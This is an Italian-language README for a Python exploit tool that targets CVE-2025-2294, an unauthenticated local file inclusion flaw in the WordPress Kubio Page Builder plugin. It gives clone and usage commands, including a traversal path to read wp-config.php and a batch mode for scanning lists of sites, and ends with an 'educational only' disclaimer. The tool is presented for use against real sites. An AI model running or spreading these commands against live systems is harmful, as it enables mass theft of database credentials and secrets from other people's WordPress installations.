Kubio Page Builder LFI Exploit (CVE-2025-2294)

Exploit di Local File Inclusion (LFI) per il plugin WordPress Kubio Page Builder (versioni ≤ 2.5.1).

📌 Descrizione

Questo strumento sfrutta una vulnerabilità LFI non autenticata nel plugin Kubio Page Builder (CVE-2025-2294), consentendo agli attaccanti di leggere file sensibili su installazioni WordPress vulnerabili.

🚀 Caratteristiche

• Modalità singolo target (-u)
• Scansione batch da file (-l)
• Rilevamento versione
• Salvataggio risultati su file (-o)
• Controllo automatico della versione vulnerabile
• Supporto percorso file personalizzato

📦 Installazione

git clone https://github.com/mrrivaldo/CVE-2025-2294.git

🛠 Utilizzo

Singolo Target di Base

python3 cve-2025-2294.py -u https://vulnerable-site.com

Percorso File Personalizzato

python3 cve-2025-2294.py -u https://vulnerable-site.com -f ../../wp-config.php

Modalità Scansione Batch

python3 cve-2025-2294.py -l targets.txt -o results.txt

Menu di Aiuto

python3 cve-2025-2294.py --help

⚙ Opzioni

📝 Struttura File di Esempio

targets.txt:

https://wordpress-site1.com
http://wordpress-site2.com
https://another-vulnerable-site.com

⚠ Disclaimer Legale

Questo strumento è solo a scopo didattico. Lo sviluppatore non è responsabile per qualsiasi uso improprio. Ottenere sempre la dovuta autorizzazione prima di testare qualsiasi sistema.